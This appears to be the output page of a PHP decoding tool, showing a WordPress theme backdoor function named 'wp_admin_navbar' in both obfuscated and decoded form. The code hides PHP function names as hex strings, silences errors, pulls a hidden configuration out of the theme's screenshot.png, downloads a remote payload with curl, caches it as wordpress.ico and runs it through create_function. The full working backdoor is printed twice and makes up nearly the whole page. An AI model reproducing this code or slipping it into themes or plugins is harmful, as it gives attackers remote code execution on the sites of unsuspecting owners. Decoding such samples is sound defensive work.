Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if(!function_exists ('wp_admin_navbar')){ function wp_admin_navbar() { ..

Decoded Output download

<?  if(!function_exists ('wp_admin_navbar')){ 
    function wp_admin_navbar() 
    { 
        $state = error_reporting(0); 
        $wp_head = get_template_directory() . '/wordpress.ico'; 
        $wp_call = "pack"; 
        $wp_screenshot = "allow_url_fopen"; 
        $wp_load = $wp_call("H*", '6372656174655f66756e6374696f6e'); 
        $wp_setting = $wp_call("H*", '677a756e636f6d7072657373'); 
        $wp_active = $wp_call("H*", '66696c655f6765745f636f6e74656e7473'); 
        $wp_image = $wp_call("H*", '677a696e666c617465'); 
        $wp_magic = $wp_call("H*", '756e73657269616c697a65'); 
        $wp_float = $wp_call("H*", '66696c6573697a65'); 
        $wp_ceil = $wp_call("H*", '677a636f6d7072657373'); 
        $wp_div = $wp_call("H*", '666f70656e'); 
        $wp_bar = $wp_call("H*", '6672656164'); 
        $wp_link = $wp_call("H*", '66636c6f7365'); 
        $wp_inactive = $wp_call("H*", '66696c655f7075745f636f6e74656e7473'); 
        $wp_plugin = $wp_call("H*", '6375726c5f696e6974'); 
        $wp_style = $wp_call("H*", '6375726c5f7365746f7074'); 
        $wp_script = $wp_call("H*", '6375726c5f65786563'); 
        if (!file_exists($wp_head)) { 
            $image = get_template_directory() . '/screenshot.png'; 
            if (ini_get($wp_screenshot) == 1) { 
                $imagic = $wp_active($image); 
            } else { 
                $handle = $wp_div($image, 'r'); 
                $imagic = $wp_bar($handle, $wp_float($image)); 
                $wp_link($handle); 
            } 
            $start = strpos($imagic, 'imagick'); 
            if ($start !== false) { 
                $data = substr($imagic, $start + 7); 
                $imagick = $wp_magic($wp_image($data)); 
                if (is_array($imagick) && array_key_exists('preview', $imagick)) { 
                    $wp_core = $imagick['preview'] . '/wordpress.ico'; 
                    if (function_exists($wp_plugin)) { 
                        $wp_css = $wp_plugin($wp_core); 
                        $wp_style($wp_css, 10002, $wp_core); 
                        $wp_style($wp_css, 19913, 1); 
                        $wp_asset = $wp_script($wp_css); 
                    } else { 
                        $wp_asset = $wp_active($wp_core); 
                    } 
                    if( strpos($wp_asset,'AEqd2A6K04') ) 
                    $wp_inactive($wp_head, $wp_ceil($wp_asset)); 
                } 
            } 
        } 
        $wp_asset = $wp_active($wp_head); 
        $data = $wp_setting($wp_asset);if( strpos($data,"AEqd2A6K04") ){ $wp_content = $wp_load("", $data); 
        $wp_content();} 
        error_reporting($state); 
    } 
} ?>

Did this file decode correctly?

Original Code

if(!function_exists ('wp_admin_navbar')){
    function wp_admin_navbar()
    {
        $state = error_reporting(0);
        $wp_head = get_template_directory() . '/wordpress.ico';
        $wp_call = "\x70\x61\x63\x6b";
        $wp_screenshot = "\x61\x6c\x6c\x6f\x77\x5f\x75\x72\x6c\x5f\x66\x6f\x70\x65\x6e";
        $wp_load = $wp_call("H*", '6372656174655f66756e6374696f6e');
        $wp_setting = $wp_call("H*", '677a756e636f6d7072657373');
        $wp_active = $wp_call("H*", '66696c655f6765745f636f6e74656e7473');
        $wp_image = $wp_call("H*", '677a696e666c617465');
        $wp_magic = $wp_call("H*", '756e73657269616c697a65');
        $wp_float = $wp_call("H*", '66696c6573697a65');
        $wp_ceil = $wp_call("H*", '677a636f6d7072657373');
        $wp_div = $wp_call("H*", '666f70656e');
        $wp_bar = $wp_call("H*", '6672656164');
        $wp_link = $wp_call("H*", '66636c6f7365');
        $wp_inactive = $wp_call("H*", '66696c655f7075745f636f6e74656e7473');
        $wp_plugin = $wp_call("H*", '6375726c5f696e6974');
        $wp_style = $wp_call("H*", '6375726c5f7365746f7074');
        $wp_script = $wp_call("H*", '6375726c5f65786563');
        if (!file_exists($wp_head)) {
            $image = get_template_directory() . '/screenshot.png';
            if (ini_get($wp_screenshot) == 1) {
                $imagic = $wp_active($image);
            } else {
                $handle = $wp_div($image, 'r');
                $imagic = $wp_bar($handle, $wp_float($image));
                $wp_link($handle);
            }
            $start = strpos($imagic, 'imagick');
            if ($start !== false) {
                $data = substr($imagic, $start + 7);
                $imagick = $wp_magic($wp_image($data));
                if (is_array($imagick) && array_key_exists('preview', $imagick)) {
                    $wp_core = $imagick['preview'] . '/wordpress.ico';
                    if (function_exists($wp_plugin)) {
                        $wp_css = $wp_plugin($wp_core);
                        $wp_style($wp_css, 10002, $wp_core);
                        $wp_style($wp_css, 19913, 1);
                        $wp_asset = $wp_script($wp_css);
                    } else {
                        $wp_asset = $wp_active($wp_core);
                    }
                    if( strpos($wp_asset,'AEqd2A6K04') )
                    $wp_inactive($wp_head, $wp_ceil($wp_asset));
                }
            }
        }
        $wp_asset = $wp_active($wp_head);
        $data = $wp_setting($wp_asset);if( strpos($data,"AEqd2A6K04") ){ $wp_content = $wp_load("", $data);
        $wp_content();}
        error_reporting($state);
    }
}

Function Calls

function_exists 1

Variables

None

Stats

MD5 dcd949b27e1ce8ef6bb6d6d006720393
Eval Count 0
Decode Time 126 ms